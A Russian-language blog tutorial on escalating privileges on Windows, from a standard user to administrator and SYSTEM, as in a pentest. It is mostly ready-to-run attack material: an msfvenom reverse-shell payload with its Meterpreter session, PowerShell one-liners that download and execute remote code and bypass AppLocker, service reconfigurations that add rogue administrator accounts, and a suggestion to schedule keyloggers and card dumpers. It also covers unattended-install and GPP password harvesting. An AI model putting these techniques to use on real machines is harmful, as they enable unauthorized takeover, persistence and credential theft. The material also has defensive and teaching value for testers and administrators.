Повышение привилегий в Windows

Повышение привилегий, пожалуй, один из ключевых моментов, от которого зависит сценарий дальнейшего проведения пентеста или атаки. Очень часто на этом этапе все и заканчивается, если не получается «расширить свои полномочия».

Поэтому сегодня мы немного поговорим о способах, позволяющих пользователю повысить свои привилегии не только до администраторских, но и до системных.

Вы узнаете как злоумышленник может повысить привилегии и как от этого защититься.

Сразу оговорюсь, я не претендую на авторство для данной статьи, таких статей в интернете полно, но зачастую они немного не информацивны.

Дисклеймер: Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий. Все указанные утилиты и методы обхода предназначены лишь для большего понимания администраторов систем и отвественных работников организаций методов атак и их предотвращения.

Сразу уточню, данная статья будет еще не раз редактироваться, наполняться данными, так что захаживайте в гости…

Повышение привилегий в Windows и Linux несколько различается. Несмотря на то что обе операционные системы несут обычное число уязвимостей, исследователи отмечают, что полностью пропатченный Windows-сервер встречается гораздо чаще, чем обновленный до актуального состояния Linux.

К тому же время выхода виндовых патчей зачастую меньше, что делает повышение привилегий на винде задачей достаточно интересной и амбициозной. Именно ей мы и посвятим наш рассказ.

От админа до системы, или то, что знают все

Обычно при упоминании повышения привилегий на ум сразу приходит способ, использующий планировщик задач.

В винде можно добавить задачу с помощью двух утилит: at и schtasks

Вторая запустит задачу от имени пользователя, добавившего задание, в то время как первая — от имени системы.

Стандартный трюк, о котором ты наверняка слышал, позволяющий запустить консоль с правами системы:

at 13:01 /interactive cmd

Второе, что приходит в голову, — это добавление сервиса, который будет запускать необходимый файл / выполнять команду:

@echo off
@break off title root
Cls
echo Creating service.
sc create evil binpath= "cmd.exe /K start" type= own type= interact > nul 2>&1
echo Starting service.
sc start evil > nul 2>&1
echo Standing by...
ping 127.0.0.1 -n 4 > nul 2>&1
echo Removing service.
echo.
sc delete evil > nul 2>&1

Третий способ заключается в подмене системной утилиты C:\windows\system32\sethc.exe на, например, cmd. Если после этого разлогиниться и нажать несколько раз клавишу Shift, то появится консоль с системными правами.

Что касается автоматизированных способов, то на ум сразу же приходит Metasploit и его getsystem.

Альтернативным вариантом можно считать PsExec от Sysinternals (psexec -i -s -d cmd.exe).

Охота за credentials

Один из надежных и стабильных способов повышения привилегий и закрепления в системе — получить пароли администраторов или пользователей, обладающих более высокими привилегиями.
И тут самое время вспомнить об автоматизированной установке программного обеспечения.
Если ты управляешь доменом, включающим в себя обширный парк машин, однозначно тебе не захочется ходить и устанавливать ПО на каждую из них вручную.
Да и времени это будет отнимать столько, что ни на какие другие задачи не хватит.
Поэтому используются Unattended installations, которые порождают файлы, содержащие админские пароли в чистейшем виде.
Что представляет собой просто клад как для пентестеров, так и для злоумышленников.

Пользовательские права

Очень часто повышение привилегий оказывается следствием неправильно настроенных пользовательских прав.

Например, когда пользователь домена является локальным администратором (или Power User’ом) на хосте.

Или когда пользователи домена (или члены доменных групп) являются локальными админами на всех хостах.

В таком случае тебе уже толком не придется ничего делать. Но к сожалению или к счатью такие варианты подворачиваются не так часто.

Unattended Installs

В случае автоматизированной установки на клиенте остается достаточно любопытный для нас файл Unattended.xml, который обычно находится либо в %WINDIR%\Panther\Unattend\, либо в %WINDIR%\Panther\ и может хранить пароль администратора в открытом виде.

С другой стороны, чтобы получить этот файл с сервера, не требуется даже никакой аутентификации.

Надо найти лишь «Windows Deployment Services» сервер.

Для этого можно воспользоваться скриптом из Metasploit:

auxiliary/scanner/dcerpc/windows_deployment _services

И хотя Windows Deployment Services не единственный способ выполнения автоматизированных инсталляций, файл Unattended.xml считается стандартом, так что его обнаружение можно приравнять к успеху.

GPP

XML-файлы настроек групповой политики безопасности (Group Policy Preference) довольно часто содержат в себе набор зашифрованных учетных данных, которые могут использоваться для добавления новых пользователей, создания шар и так далее. На счастье, метод шифрования документирован, таким образом, можно запросто получить пароли в чистом виде из-за того, что пароль для расшифровки данного файла расположен в документации MSDN. Если необходима подробная информация, то можем предоставить или сверстать отдельную статью по данному методу. Более того, команда Metasploit уже все сделала за тебя — достаточно воспользоваться модулем /post/windows/gather/credentials/gpp.rb

AlwaysInstallElevated

Иногда администраторы позволяют обычным пользователям самостоятельно устанавливать программы, обычно делается это через следующие ключи реестра:

HKLM\SOFTWARE\Policies\Microsoft\Windows \Installer\AlwaysInstallElevated или HKCU\SOFTWARE\Policies\Microsoft\Window s\Installer\AlwaysInstallElevated

Они указывают системе, что любой MSI-файл должен устанавливаться с повышенными привилегиями (NT AUTHORITY\SYSTEM). Соответственно, задействовав специальным образом созданный файл, можно опять же выполнить действия от имени системы и прокачать свои привилегии.

В состав Metasploit входит специальный модуль 

exploit/windows/local/always_install_elevated

который создает MSI-файл со встроенным в него специальным исполняемым файлом, который извлекается и выполняется установщиком с привилегиями системы.

После его выполнения MSI-файл прекращает установку (путем вызова специально созданного невалидного VBS), чтобы предотвратить регистрацию действия в системе.

К тому же если запустить установку с ключом /quiet, то юзеру даже не выведется ошибка.

Пропавший автозапуск

Очень часто случается, что система хранит запись о файле, который надо автоматически запустить, даже после того, как сам файл уже канул в Лету.

Может, какой-то сервис был некорректно удален — исполняемого файла нет, а запись в реестре осталась, и при каждом запуске система безуспешно пытается его стартануть, забивая журнал событий сообщениями о фейлах. Этой ситуацией также можно воспользоваться для расширения своих полномочий.

Первым делом надо найти все такие осиротевшие записи. Например, при помощи утилиты autorunsc от Sysinternals.

autorunsc.exe -a | findstr /n /R "File\ not\ found"

После чего, как ты догадался, останется только как-то подсунуть на место пропавшего файла своего кандидата.

Магия кавычек » (Неквотируемые пути служб (Unquoted Service Paths))

Да-да, кавычки могут не только сыграть злую шутку в SQL-запросах, позволив провести инъекцию, но и помочь поднять привилегии.

Проблема довольно старая и известна со времен NT. Суть в том, что пути до исполняемых файлов некоторых сервисов оказываются не обрамленными кавычками (например, ImagePath=C:\Program Files\Common Files\Network Associates\McShield\McShield.exe), при этом в пути присутствуют символы пробела.

В таком случае, если атакующий создаст файл, который будет добавлять новых админов в систему или выполнять еще какие-то действия, и назовет его C:\Program Files\binary.exe, то при последующем запуске сервиса запустится именно binary.exe, а оставшаяся часть пути будет воспринята в качестве аргумента (аргументов).

Понятно, что в Program Files непривилегированный пользователь положить ничего не сможет, но исполняемый файл сервиса может находиться и в другой директории, то есть у юзера будет возможность подсунуть свой файл.

Для того чтобы воспользоваться данной техникой, надо найти уязвимый сервис (который не будет использовать кавычки в пути к своему бинарнику). Делается это следующим образом:

wmic service get name,displayname,pathname, startmode |findstr /i "auto" |findstr /i /v "c: \windows\\" |findstr /i /v """

Правда, на отмерающем XP это потребует привилегий админа, поэтому там лучше воспользоваться следующим методом: получить список сервисов — sc query, далее смотреть информацию по каждому сервису:

sc qc servicename

Для автоматизации этого метода можно воспользоваться утилитой BeRoot

Большинство способов поднятия привилегий связаны с ошибками в конфигурации установленного ПО, будь то путь к исполняемому файлу сервиса, не обрамленный кавычками и содержащий пробел (такая ситуация довольно интересно обрабатывается виндой), или же неверно выставленные права на директорию с приложением.

Итак, что же BeRoot умеет находить?

Для начала те самые пути с пробелами, не обрамленные кавычками: C:\Program Files\Some Test\binary.exe.

Если вы прошли по ссылке и освежили в памяти теорию, то можете знать, что в данном случае Windows будет пытаться найти и запустить файл в следующем порядке:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\binary.exe

Соответственно, если binary.exe выполняется с повышенными привилегиями и у вас будет возможность разместить на диске C:\ файл Program.exe, то вместо исходного бинарника винда выполнит ваш, что поднимет ваши привилегии в системе.

Далее, проверяются интересные директории, куда мы можем что-либо записать.

Эти интересные директории составляются из путей до исполняемых файлов сервисов, запланированных заданий, ключей автозагрузки (HKLM).

Если посмотреть запись для этой службы в системном реестре, то можно увидеть ключ ImagePath значение которого:
C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe

Хотя должно быть:
«C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe»

Примеры и Триксы
Для проверки прав на папку можно воспользоваться встроенной тулзой icacls.

Ниже показан результат проверки прав для C:\Program Files (x86)\Program Folder:

meterpreter > shell
Process 1884 created.
Channel 4 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Program Folder>icacls "C:\Program Files (x86)\Program Folder"
icacls "C:\Program Files (x86)\Program Folder"
C:\Program Files (x86)\Program Folder Everyone:(OI)(CI)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
C:\Program Files (x86)\Program Folder>

Как видим группа “Everyone” имеет полный доступ к этой папке.

Значит,мы можем записать любой файл в эту папку.
Описание некоторых флагов в выводе команды icacls:
F = Full Control (полный доступ)
CI = Container Inherit (наследование контейнерами)
OI = Object Inherit (только наследование)
Теперь создадим reverse shell пэйлоад, который запустится с правами SYSTEM.

Для этого можем воспользоваться MSFvenom:

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e
x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o A.exe
No platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of
x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: A.exe

Скопируем наш пэйлоад в C:\Program Files (x86)\Program Folder:

meterpreter > getuid
Server username: TARGETMACHINE\testuser
meterpreter > cd "../../../Program Files (x86)/Program Folder"
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
==============================================
Mode Size Type Last modified ---- ---- Name ---- -----------------
40777/rwxrwxrwx 21:43:28 -0500 0 dir A Subfolder
meterpreter > upload -f A.exe
uploading : A.exe -> A.exe[/li]
uploaded : A.exe -> A.exe[/li][/list]
meterpreter > ls
Listing: C:\Program Files (x86)\Program Folder
2017-01-04==============================================
Mode Size Type Last modified Name
-----------------------------
40777/rwxrwxrwx 21:43:28 -0500 0 2017-01-04 A Subfolder
100777/rwxrwxrwx 22:01:32 -0500 dir 73802 fil 2017-01-04
A.exe
meterpreter >

При следующем старте службы A.exe должен запуститься с правами
SYSTEM. Давайте проверим – рестартанем уязвимую службу:

meterpreter > shell
Process 1608 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>sc stop "Vulnerable Service"
sc stop "Vulnerable Service"
[SC] OpenService FAILED 5:
Access is denied.
C:\Users\testuser\Desktop>

«Доступ запрещен»
Ничего страшного, у нас просто нет прав на остановку/запуск службы, но мы можем рестартануть целевую машину, выполнив команду shutdown:

C:\Users\testuser\Desktop>shutdown /r /t 0
shutdown /r /t 0
C:\Users\testuser\Desktop>
192.168.2.40 - Meterpreter session 8 closed. Reason: Died[/li]

Как видим наша сессия оборвалась.
После перезагрузки целевой машины наш пэйлоад должен запуститься с правами SYSTEM. Для того чтобы увидеть результат нам необходимо запустить хэндлер:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.2.60
lhost => 192.168.2.60
msf exploit(handler) > set lport 8989
lport => 8989
msf exploit(handler) > run
Started reverse TCP handler on 192.168.2.60:8989 [/li]
Starting the payload handler...[/li]
Sending stage (957999 bytes) to 192.168.2.40[/li]
Meterpreter session 1 opened (192.168.2.60:8989 ->
192.168.2.40:49156) at 2017-01-04 22:37:17 -0500[/li][/list]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
192.168.2.40 - Meterpreter session 1 closed. Reason: Died[/li]

Как видим, теперь у нас появилась сессия Meterpreter’а с правами SYSTEM. Но почему же наша сессия оборвалась так быстро? Объяснить это можно — потому, что в системе Windows при старте службы она должна соединиться
с т. н. Менеджером Служб (Service Control Manager (SCM)). Если соединение не было установлено то Менеджер Служб завершит процесс. Поэтому нам необходимо мигрировать в другой процесс до того как
Менеджер Служб завершит работу нашего пэйлоада, также можно использовать автомигрирование. Хочу отметить, что в Metasploit есть уже готовый модуль для проверки и эксплуатации данной уязвимости на целевой машине:

exploit/windows/local/trusted_service_path

Если вы хотите использовать данный модуль, то его необходимо прилинковать к существующей сессии Meterpreter’а перед запуском:

msf > use exploit/windows/local/trusted_service_path
msf exploit(trusted_service_path) > show options
Module options (exploit/windows/local/trusted_service_path):
Name
Current Setting Required Description
--------------------------------------
SESSION yes
The session to run this module on.
Exploit target:
Id Name
-- ----
0 Windows

Чтобы воспроизвести эксплуатацию описанной уязвимости, вам необходимо добавить уязвимую службу в вашей тестовой среде:

C:\Windows\System32>sc create "Vulnerable Service" binPath= "C:\Program
Files (x86)\Program Folder\A Subfolder\Executable.exe" start=auto
C:\Windows\System32>cd C:\Program Files (x86)
C:\Program Files (x86)>mkdir "Program Folder\A Subfolder"
C:\Program Files (x86)>icacls "C:\Program Files (x86)\Program Folder" /grant
Everyone:(OI)(CI)F /T

Помимо только поиска уязвимых мест, BeRoot предоставляет возможность проэксплуатировать уязвимость MS16-075 (если она есть).

Стандартный трюк с добавлением своего админа будет выглядеть следующим образом:

beRoot.exe -c "net user hacker Megapasswd /add"
beRoot.exe -c "net localgroup Administrators hacker /add"

Что бы еще проверить? Ключ реестра AlwaysInstallElevated, позволяющий обычным пользователям запускать на установку MSI-файлы с повышенными привилегиями.

Если эта опция включена, создавайте свой MSI-пакет и получайте полный контроль.

Также проверяются файлы, оставшиеся от Unattended Install, которые могут хранить данные админской учетки.

Ну и на всякий случай проверяются такие экзотические вещи, как доступность сервиса для модификации, возможность создания нового сервиса, возможность создания ключа автозагрузки в HKLM, а также возможность записи в директорию, где хранятся запланированные задания.
В этом примере Vulnerable.exe содержит DLL hijacking уязвимость. Так как это демонстрация, то Vulnerable.exe является кодом, который подгружает длл без всяких проверок:

#include "stdafx.h"
#include "windows.h"
void _tmain(int argc, _TCHAR* argv[])
{
LoadLibrary(L"hijackable.dll");
}

Если разбираться, что же такое DLL hijacking, то это хорошо расписано этой статье (Dynamic-Link Library Security (Windows)):
Когда приложение динамически подгружает динамическую библиотеку без указания полного пути (fully qualified path name) к библиотеке, то Windows пытается локализировать эту длл путем поиска в хорошо регламентированном списке директорий и в определенном порядке (детально это описано в Dynamic-Link Library Search Order).

meterpreter > search -f hijackable.dll
No files matching your search were found.
meterpreter >

Поиск не дал результатов, но мы не можем быть уверены на 100% что такой длл нет на целевой машине, т.к. мы находимся в непривилегированной сессии и у нас нет прав на просмотр всех директорий на целевой машине.
Следующим шагом нам необходимо проверить наличие уязвимых разрешений. Обычно я проверяю установлен ли какой-нибудь софт в корне диска, например Python. Почему лучше проверять именно в корне диска? — Потому что, первое: если
каталок был создан софтом в корне диска, то у всех аутенцифицированных пользователей будут права на запись в этот каталог. И второе: софт типа Python, Ruby, Perl и др. добавляет путь в переменную среды %PATH%. Но это тема отдельной статьи.

Раз мы начали рассматривать утилиты, продолжим

Повышение привилегий с Sherlock

В любой операционной системе присутствуют уязвимости, которые периодически находят, а потом патчат.  Пожалуй, самый простой вариант поднять свои привилегии — это проверить, уязвима ли исследуемая система к одному из доступных в паблике сплоитов.

Компилировать и запускать все по очереди? Не наш метод, мы ведь знаем (или можем узнать), какой патч закрывает ту или иную уязвимость, просто проверим наличие его установки. И если security-апдейт не установлен, то нам повезло.

Такой проверкой как раз и занимается PowerShell-скрипт Sherlock. На текущий момент он проверяет наличие установленных патчей для следующих уязвимостей:

• MS10-015 : User Mode to Ring (KiTrap0D)
• MS10-092 : Task Scheduler
• MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
• MS13-081 : TrackPopupMenuEx Win32k NULL Page
• MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
• MS15-051 : ClientCopyImage Win32k
• MS15-078 : Font Driver Buffer Overflow
• MS16-016 : ‘mrxdav.sys’ WebDAV
• MS16-032 : Secondary Logon Handle

Если что-то из этого не пропатчено, можете смело качать сплоит, компилировать и ждать успеха. Работоспособность скрипта протестирована на следующих системах:

• Windows 7 SP1 32-bit
• Windows 7 SP1 64-bit,
• Windows 8 64-bit,
• Windows 10 64-bit

Так, на тестовой машине с Windows 7 x64 на борту «Шерлок» выдал следующую сводку:

Как оказалось, машина уязвима к уязвимости Secondary Logon Handle (ну и еще нескольким в придачу), о которой читайте далее. Ну и стоит отметить, что непосредственно в Windows для проверки достаточно запустить PowerShell и выполнить

import-module .\Sherlock.ps1

В случае если у вас meterpreter-сессия до Win-машины, то подгружаем PowerShell-расширение, импортируем «Шерлока» и вызываем процедуру проверки:

meterpreter > load powershell
meterpreter > powershell_import Sherlock.ps1
meterpreter > powershell_execute "find-allvulns"

Повышение привилегий с Windows-privesc-check

Инструмент, разработанный командой pentestmonkey.

Делает кучу «грязной работы» — старается найти типичные ошибки конфигурации, которые могут позволить обычным пользователям повысить свои привилегии.

Изначально написан на Python, но поставляется также в виде отдельного исполняемого файла (собранного с помощью pyinstaller), для того чтобы его можно было просто запустить на удаленной машине, а не тащить на нее предварительно питон и все остальные зависимости.

Существует два варианта использования:

Первый — когда у нас есть аккаунт с правами администратора и мы хотим прокачать их до системных.

Второй — когда у нас аккаунт с ограниченными привилегиями и мы хотим найти способ расширить их. Для того чтобы попросить программу найти все возможные ошибки конфигурации, надо ввести:

windows-privesc-check2.exe --audit -a -o report

В результате получим подробный отчет следующего вида:

При этом утилита проверит практически все возможные варианты: переменные окружения, сервисы, с некорректными правами доступа, запланированные задания, доступные для записи ключи реестра и прочее. Если надо ограничить поиск только какой-то одной категорией (например, поиск уязвимых сервисов), то можно использовать соответствующий ключ. Список всех доступных опций можно посмотреть с помощью ключа —help, например для сервисов это будет -S.

Повышение привилегий с Hot Potato

Известен также как просто Potato. Очень интересный инструмент.

Неординарность этого инструмента заключается в том, что для достижения цели он использует связку из трех атак: NBNS-спуфинг → WPAD-прокси → HTTP2SMB-релeй.

Спуфинг осуществляется для того, чтобы перенаправить жертву (то есть локальный компьютер) на подконтрольный атакующему WPAD-прокси-сервер.

В нашем случае он также будет располагаться на локальной машине по адресу 127.0.0.1:80.

Фишка в том, что IE-шка по дефолту будет автоматически пытаться определить сетевые настройки, пробуя обратиться по адресу http://wpad/wpad.dat.

Что наиболее интересно для нас — так же поступают и некоторые службы Windows, например Windows Update.

Ну а далее в дело вступает HTTP2SMB-релей.Прокси будет перенаправлять все запросы на некий уникальный URL, попутно запрашивая NTLM-аутентификацию.

Полученные учетные данные будут передаваться на локальный дефолтный SMB-листенер для создания нового системного сервиса, который и будет выполнять наши команды.

Таким образом, при получении запроса от привилегированного сервиса (Windows Update) команды будут выполняться с уровнем NT AUTORITY\SYSTEM.

На «семерке» все достаточно просто, все, что старше, — уже не так легко. Итак, в Windows 7 нам поможет следующая команда, запущенная от обычного непривилегированного пользователя:

Potato.exe -ip -cmd [command] -disable_exhaust true

В качестве значения параметра cmd может быть все что угодно, например команда вида

C:\\Windows\\System32\\cmd.exe /K net localgroup administrators USERNAME /add

Кстати, если в Сети есть реальная DNS-запись для WPAD, то надо будет указать опцию disable_exhaust false.

В случае с более свежими версиями винды, ситуация несколько усложняется — в них ни Defender, ни Update-сервисы уже не будут обращаться к WPAD-сеpверу.

Однако там есть такая штука, как автоматическое обновление отозванных сертификатов, — свежие версии Windows по умолчанию раз в день скачивают списки доверенных сертификатов. Она как раз использует WPAD.

Команда будет выглядеть следующим образом:

Potato.exe -ip -cmd [command] -disable_exhaust true -disable_defender true

Так как скачивание происходит раз в день, то, возможно, придется подождать какое-то время (максимум 24 часа). Поэтому способ скорее для тех, кто не торопится.

Повышение привилегий с Smashed Potato

Smashed Potato — это модифицированная версия Hot Potato, рассмотренного выше. Итак, каковы же основные изменения?

• Все .NET-сборки смержены в одну сборку, которая преобразована в массив байтов (Byte[]) — да-да, Potato писан на шарпе.
• Запуск сборки Potato из памяти.
• Включен метод обхода AppLocker с помощью InstallUtil.
• Добавлена некоторая автоматизация.

Инструмент поставляется с открытым исходным кодом, поэтому, чтобы собрать его, надо будет выполнить следующее.

Под 32-разрядные системы:

cd \Windows\Microsoft.NET\Framework\v4.0.30319
csc.exe /out:"C:\Utils\SmashedPotatoX86.exe" /platform:x86 "C:\Utils\SmashedPotato.cs"

Для 64-разpядных:

cd \Windows\Microsoft.NET\Framework64\v4.0.30319
csc.exe /out:"C:\Utils\SmashedPotatoX64.exe" /platform:x64 "C:\Utils\SmashedPotato.cs"<code>

Далее, для того чтобы запустить инструмент с обходом AppLoсker, нужно выполнить следующее:

cd \Windows\Microsoft.NET\Framework\v4.0.30319
InstallUtil.exe /logfile= /LogToConsole=false /U C:\Utils\SmashedPotatoX86.exe

Это для 32-разрядных, как будет выглядеть для x64, я думаю, вы уже догадались.

Кстати, вот однострочный PowerShell-скрипт, который выполнит все перечисленные действия для x64-машины:

powershell -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('http://is.gd/y6cfKV','%temp%\SmashedPotato.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /out:"%temp%\SmashedPotatoX64.exe" /platform:x64 "%temp%\SmashedPotato.cs" && InstallUtil.exe /logfile= /LogToConsole=false /U %temp%\SmashedPotatoX64.exe

Повышение привилегий с Tater

Ну а что делать, если на машине не установлен .NET Framework?

Воспользоваться PowerShell-версией Hot Potato — Tater, которая сразу загружается в память и не оставляет следов на диске! Запустить утилиту можно в одну строку:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/fVC1Yd'); Invoke-Tater -Trigger 1 -Command ""net user User1 Password1 /add && net localgroup administrators User1 /add"""

После чего в системе появится пользователь User1 с паролем Password1, входящий в группу администраторов.

Но надо отметить, что для Windows 10 следует использовать ключ -Trigger 2.

Компиляция сплоитов в Kali

Бесспорно, основной операционной системой для проведения пентеста/взлома служит Linux, под него реализована куча инструментов, да и вообще мало кто ломает из-под винды. И с ним все прекрасно по дефолту, пока не надо скомпилировать сплоит под винду (в нашем случае для поднятия привилегий).

Исправляется такой недостаток установкой Mingw-w64:

apt-get update
apt-get install mingw-w64

Дальше все просто, качаем сплоит и компилируем:

wget ‐‐output-document= 40564.c https://www.exploit-db.com/download/40564
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32

EasySystem

Если локальный админ у вас уже есть и вопрос заключается только в том, как дотянуться до системы, то можно взглянуть в сторону небольшой утилитки EasySystem.

Как пишет сам автор утилиты, это никакой не эксплоит, а «старый и грязный» прием с имперсонацией именованных каналов.

Secondary Logon Handle

Еще один интересный трюк связан с использованием службы «Вторичный вход в систему». Данная служба позволяет запускать программы, консоли Microsoft Management, элементы контрольной панели от имени администратора, даже если текущий пользователь принадлежит всего лишь к группе Users или Power Users. Суть в том, что данный сервис не очищает хендлы при создании новых процессов.

Что для нас важно — данной уязвимости подвержены почти все версии Windows (x32 и x64): начиная с Vista и заканчивая Windows 2012 Server.

Но есть и ограничения: для успешного повышения привилегий в системе должен быть установлен PowerShell 2.0 или выше, а также присутствовать два и более CPU-ядер.

В Metasploit Framework есть специальный модуль

exploit/windows/local/ms16_032_secondary_logon_handle_privesc

Его использование подразумевает, что у нас уже есть meterpreter-сессия, которую мы и должны указать в параметрах: set SESSION 1. Ну и в случае успешной эксплуатации у нас появится еще одна сессия, с повышенными привилегиями.

Для этой же уязвимости есть и PowerShell-скрипт, запускающий командную оболочку с правами системы. А также скомпилированный бинарник, выполняющий то же самое.
Кстати гoворя, Microsoft выпустила патч, поэтому прежде, чем пытаться поднять привилегии, проверьте, не установлен ли он:

C:\Users\pentestlab>wmic qfe list | find "3139914"

Фокусы с разрешениями

Разрешения на доступ к файлам — это обычно первое защитное средство, которое мешает поднять нам свои привилегии. Было бы заманчиво просто так переписать какой-либо системный файл (например, тот же самый sethc.exe, упомянутый в самом начале статьи) и получить сразу системные привилегии. Но все это лишь мечты, на деле у нас есть лишь разрешение на его чтение, которое нам ровным счетом ничего не дает. Однако не стоит вешать нос, ибо с разрешениями тоже не все так гладко — здесь, как и везде, существуют свои подводные камни, знание которых позволяет делать невозможное возможным.

Одна из системных директорий, защищенных данным механизмом, особенно интересна с точки зрения повышения привилегий — Program Files. Непривилегированным пользователям доступ туда заказан. Однако иногда бывает, что в процессе установки инсталляторы некорректно выставляют права на файлы, в результате чего всем пользователям предоставляется полный доступ к исполняемым файлам. Что из этого следует — ты уже догадался.

Еще одно из ограничений — обычному смертному не позволяется писать в корень системного диска. Однако, например, на XP при создании новой директории в корне диска группа BUILTIN\Users получает FILE_APPEND_DATA и FILE_WRITE_DATA разрешения (даже если владельцем папки является администратор):

BUILTIN\Users:(OI)(CI)R
BUILTIN\Users:(CI)(special access:)
FILE_APPEND_DATA
BUILTIN\Users:(CI)(special access:)
FILE_WRITE_DATA

На «семерке» происходит почти то же самое, только разрешения получает группа AUTHENTICATED USERS.

Каким образом такое поведение может превратиться в проблему?

Просто некоторые приложения устанавливают себя вне защищенных директорий, что позволит легко подменить их исполняемые файлы. Например, такая оказия случилась с Metasploit Framework в случае ее многопользовательской установки. Данный баг был пофиксен в версии 3.5.2, а утилита переехала в Program Files.

Как искать такие директории/файлы

Обнаружение директории с некорректными разрешениями — это уже половина успеха. Однако ее нужно сначала найти. Для этого можно воспользоваться следующими двумя инструментами: AccessChk и Cacls/ICacls. Чтобы найти при помощи AccessChk «слабые» директории, понадобятся данные команды:

accesschk.exe -uwdqs users c:\
accesschk.exe -uwdqs “Authenticated Users” c:\

Для поиска файлов со «слабыми» разрешениями служат следующие:

accesschk.exe -uwqs users c:\*.*
accesschk.exe -uwqs “Authenticated Users” c:\*.*

То же самое можно выполнить и при помощи Cacls/ICacls:

cacls "c:\Program Files" /T | findstr Users

Все по плану

Еще один механизм, который может помочь поднять права и про который обычно забывают, — планировщик задач. Утилита schtasks позволяет вешать задачи на определенные события. Наиболее интересные для нас — ONIDLE, ONLOGON и ONSTART. Как следует из названий, ONIDLE будет выполняться каждый раз при простое компьютера, ONLOGON и ONSTART — при входе пользователя и при запуске системы соответственно. Таким образом, на каждое из событий можно повесить отдельную задачу. Например, при запуске системы копировать куда-либо вредоносный бинарник/кейлоггер/… и запускать его. При входе пользователей в систему — запускать дампер кредитных карт. Короче, все ограничивается только твоей фантазией и поставленной задачей.

Трюки с сервисами

Еще один вариант, как подняться в системе повыше, — это воспользоваться мисконфигурациями и ошибками сервисов. Как показывает практика, некорректными разрешениями могут обладать не только файлы и папки, но также и сервисы, работающие в системе. Чтобы обнаружить такие, можно воспользоваться утилитой AccessChk от небезызвестного тебе Марка Руссиновича:

accesschk.exe –uwcqv *

Отраднее всего будет увидеть SERVICE_ALL_ACCESS разрешение для аутентифицированных пользователей или power-юзеров. Но также большой удачей можно считать и следующие:

• SERVICE_CHANGE_CONFIG — можем изменять исполняемый файл службы;
• WRITE_DAC — можно менять разрешения, что приводит к получению разрешения SERVICE_CHANGE_CONFIG;
• WRITE_OWNER — можно стать владельцем и изменить разрешения;
• GENERIC_WRITE — наследует разрешения SERVICE_CHANGE_CONFIG;
• GENERIC_ALL — наследует разрешения SERVICE_CHANGE_CONFIG.

Если обнаруживается, что установлено одно (или несколько) из этих разрешений для непривилегированных пользователей, шансы повысить свои привилегии резко возрастают.

Как повысить?

Допустим, ты нашел подходящий сервис, настало время поработать над ним. В этом поможет консольная утилита sc. Для начала получаем полную информацию об интересующем нас сервисе, допустим, это upnphost:

sc qc upnphost

С помощью этой же утилиты отконфигурируем его:

sc config vulnsrv binpath= "net user john hello /add && net localgroup Administrators john /add" type= interact
sc config upnphost obj= ".\LocalSystem" password=""

Как видишь, при следующем старте службы вместо ее исполняемого файла выполнится команда

net user john hello /add
net localgroup Administrators john /add

добавив в систему нового пользователя john с паролем hello.

Остается только вручную перезапустить сервис:

net stop upnphost && net start upnphost

Вот и вся магия.

Что в итоге

Когда-то давным-давно я прочитал в журнале статью, в которой были приведены основные приемы для повышения привилегий в ОС Windows. Особого значения я ей тогда не придал, но теория в голове отложилась и однажды очень сильно меня выручила. Ну и конечно же статья для себя лично, так как хранить такой объем постоянно в голове не всегда получается. Впринципе этот сайт планировался как большая и вечная заметка всего того, что было найдено и зафиксировано в заметках, текстовых файлах и т.п., потрачена куча времени и в последствии утеряна.

Как бы я ни старался вместить в одну статью все возможные варианты повышения привилегий но это ребята совсем другой разговор длинною в 3 Тома…

Так что, надеюсь, и ты найдешь в этой статье для себя что-то новое, что поможет однажды преодолеть очередной барьер

© Статья слеплена из собственных наработок, статью 2014 года с xaker.ru и конечно же наши большие братья беларусский форум codeby.net